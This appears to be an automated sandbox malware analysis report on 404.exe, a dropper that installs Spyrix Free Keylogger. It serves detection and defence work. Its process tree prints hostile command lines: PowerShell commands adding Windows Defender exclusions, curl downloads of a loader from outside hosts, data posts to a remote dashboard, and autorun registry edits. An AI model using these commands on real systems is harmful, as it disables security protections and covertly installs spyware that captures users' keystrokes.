Edit tour

Windows Analysis Report
404.exe

Overview

General Information

Sample name:	404.exe
Analysis ID:	1523866
MD5:	d15daef371b50fb739401bfde29df35a
SHA1:	d916c598aff72aaf461a5427cd7c6440c199ff24
SHA256:	ee8a52deddf45bac9caa60205f83488ee644ffd1ea01998774d68c7f46568b71
Tags:	exefiledn-comuser-JAMESWT_MHT
Infos:

Detection

Score:	54
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Adds a directory exclusion to Windows Defender

Creates an undocumented autostart registry key

Found API chain indicative of debugger detection

Found stalling execution ending in API Sleep call

Loading BitLocker PowerShell Module

Machine Learning detection for sample

PE file has nameless sections

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Uses cmd line tools excessively to alter registry or file data

Uses netstat to query active network connections and open ports

Uses regedit.exe to modify the Windows registry

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to retrieve information about pressed keystrokes

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

HTTP GET or POST without a user agent

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries keyboard layouts

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses reg.exe to modify the Windows registry

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

404.exe (PID: 1096 cmdline: "C:\Users\user\Desktop\404.exe" MD5: D15DAEF371B50FB739401BFDE29DF35A)

cmd.exe (PID: 2800 cmdline: "cmd.exe" /c C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\\38b5bf3b-2a32-4636-ac09-779581aade41.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 2136 cmdline: reg query "HKU\S-1-5-19\Environment" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

powershell.exe (PID: 1440 cmdline: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

curl.exe (PID: 7252 cmdline: curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

curl.exe (PID: 7288 cmdline: curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

404.exe (PID: 7592 cmdline: "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe" MD5: 0F335D8996D82DA30FE9286C671FA0CD)

404.tmp (PID: 7616 cmdline: "C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp" /SL5="$70296,32862490,227328,C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe" MD5: BFA3F09DEEE00832D000F497EC5B570A)

cmd.exe (PID: 7680 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\d.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7724 cmdline: C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

WMIC.exe (PID: 7740 cmdline: wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 7784 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\d.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7836 cmdline: C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

WMIC.exe (PID: 7852 cmdline: wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 7888 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex.cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7940 cmdline: reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex" /y MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7964 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\pswd.cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8016 cmdline: powershell.exe add-mpPreference -ExclusionProcess '404.*' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1628 cmdline: powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6516 cmdline: powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 5276 cmdline: powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1288 cmdline: powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7440 cmdline: powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3148 cmdline: powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1436 cmdline: powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1684 cmdline: powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7736 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex.cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7688 cmdline: reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex" /y MD5: 227F63E1D9008B36BDBCC4B397780BE4)

taskkill.exe (PID: 7872 cmdline: "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7820 cmdline: "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regedit.exe (PID: 5412 cmdline: "regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" MD5: BD63D72DB4FA96A1E0250B1D36B7A827)

reg.exe (PID: 6676 cmdline: "reg.exe" delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 8088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

spkl.exe (PID: 4280 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe" MD5: 11ADE4625528B6E7E1601681867E094E)

cmd.exe (PID: 1292 cmdline: "C:\Windows\system32\cmd.exe" /c netstat.exe -e > "C:\Users\user\AppData\Local\Temp\nse" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

NETSTAT.EXE (PID: 5656 cmdline: netstat.exe -e MD5: 9DB170ED520A6DD57B5AC92EC537368A)

qrl.exe (PID: 4284 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions MD5: D9EA512EE580ECFFEE587A4C3759527F)

conhost.exe (PID: 3448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

qrl.exe (PID: 4424 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions MD5: D9EA512EE580ECFFEE587A4C3759527F)

conhost.exe (PID: 5876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

qrl.exe (PID: 7320 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions MD5: D9EA512EE580ECFFEE587A4C3759527F)

conhost.exe (PID: 4324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

spmm.exe (PID: 3524 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22" MD5: C0E67E8723775249CA0AE2C52E7EDD9E)

qrl.exe (PID: 1684 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions MD5: D9EA512EE580ECFFEE587A4C3759527F)

conhost.exe (PID: 7724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

qrl.exe (PID: 3272 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions MD5: D9EA512EE580ECFFEE587A4C3759527F)

conhost.exe (PID: 5472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 2508 cmdline: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 5012 cmdline: "C:\Windows\System32\cmd.exe" /c plist.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 8076 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

timeout.exe (PID: 8092 cmdline: timeout 20 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cmd.exe (PID: 7856 cmdline: cmd /c exit 83 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7848 cmdline: cmd /c exit 112 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7884 cmdline: cmd /c exit 121 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 712 cmdline: cmd /c exit 114 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 6492 cmdline: cmd /c exit 105 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7900 cmdline: cmd /c exit 120 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

tasklist.exe (PID: 7948 cmdline: TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH MD5: 0A4448B31CE7F83CB7691A2657F330F1)

find.exe (PID: 7120 cmdline: find "spm" MD5: 15B158BC998EEF74CFDD27C44978AEA0)

tasklist.exe (PID: 2828 cmdline: TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH MD5: 0A4448B31CE7F83CB7691A2657F330F1)

find.exe (PID: 4808 cmdline: find "sem" MD5: 15B158BC998EEF74CFDD27C44978AEA0)

tasklist.exe (PID: 3708 cmdline: TASKLIST /FI "IMAGENAME eq spkl.exe" /FO CSV /NH MD5: 0A4448B31CE7F83CB7691A2657F330F1)

find.exe (PID: 3308 cmdline: find "spkl" MD5: 15B158BC998EEF74CFDD27C44978AEA0)

tasklist.exe (PID: 5840 cmdline: TASKLIST /FI "IMAGENAME eq clv.exe" /FO CSV /NH MD5: 0A4448B31CE7F83CB7691A2657F330F1)

find.exe (PID: 1124 cmdline: find "clv" MD5: 15B158BC998EEF74CFDD27C44978AEA0)

cmd.exe (PID: 8164 cmdline: C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 5248 cmdline: timeout 6 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

chrome.exe (PID: 5240 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2824 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1992,i,7642433025411638348,18067378609004413491,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-2D6JG.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000042.00000000.3090859103.0000000000401000.00000020.00000001.01000000.00000018.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
66.0.spmm.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'", CommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'", CommandLine|base64offset|contains: i~yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /c C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\\38b5bf3b-2a32-4636-ac09-779581aade41.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2800, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'", ProcessId: 1440, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'", CommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'", CommandLine|base64offset|contains: i~yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /c C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\\38b5bf3b-2a32-4636-ac09-779581aade41.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2800, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'", ProcessId: 1440, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp" /SL5="$70296,32862490,227328,C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp, ParentProcessId: 7616, ParentProcessName: 404.tmp, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , ProcessId: 2508, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp, ProcessId: 7616, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\localSPM

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp" /SL5="$70296,32862490,227328,C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp, ParentProcessId: 7616, ParentProcessName: 404.tmp, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , ProcessId: 2508, ProcessName: wscript.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: , EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp, ProcessId: 7616, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\kbdsprt

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'", CommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'", CommandLine|base64offset|contains: i~yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /c C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\\38b5bf3b-2a32-4636-ac09-779581aade41.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2800, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'", ProcessId: 1440, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 404.exe	ReversingLabs: Detection: 76%
Source: 404.exe	Virustotal: Detection: 75%			Perma Link

Machine Learning detection for sample

Source: 404.exe

Joe Sandbox ML: detected

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DEC770 memset,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	60_2_00DEC770
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DE9BC0 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,	60_2_00DE9BC0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 60_2_00DE9D10 memcpy,memmove,memset,CertFreeCertificateContext,WSAGetLastError,strtol,strchr,strlen,strncpy,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strchr,strchr,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertFreeCertificateContext,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertFreeCertificateContext,CertFreeCertificateContext,strchr,strlen,CertOpenStore,CryptStringToBinaryA,CertFindCertificateInStore,CertCloseStore,CertFreeCertificateContext,CertFreeCertificateContext,GetLastError,CertFreeCertificateContext,	60_2_00DE9D10

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: -----BEGIN PUBLIC KEY-----		60_2_00DE8FA0
Source: qrl.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: https://dashboard.spyrix.com/login

HTTP Parser: Number of links: 0

Source: https://dashboard.spyrix.com/login

HTTP Parser: <input type="password" .../> found but no <form action="...

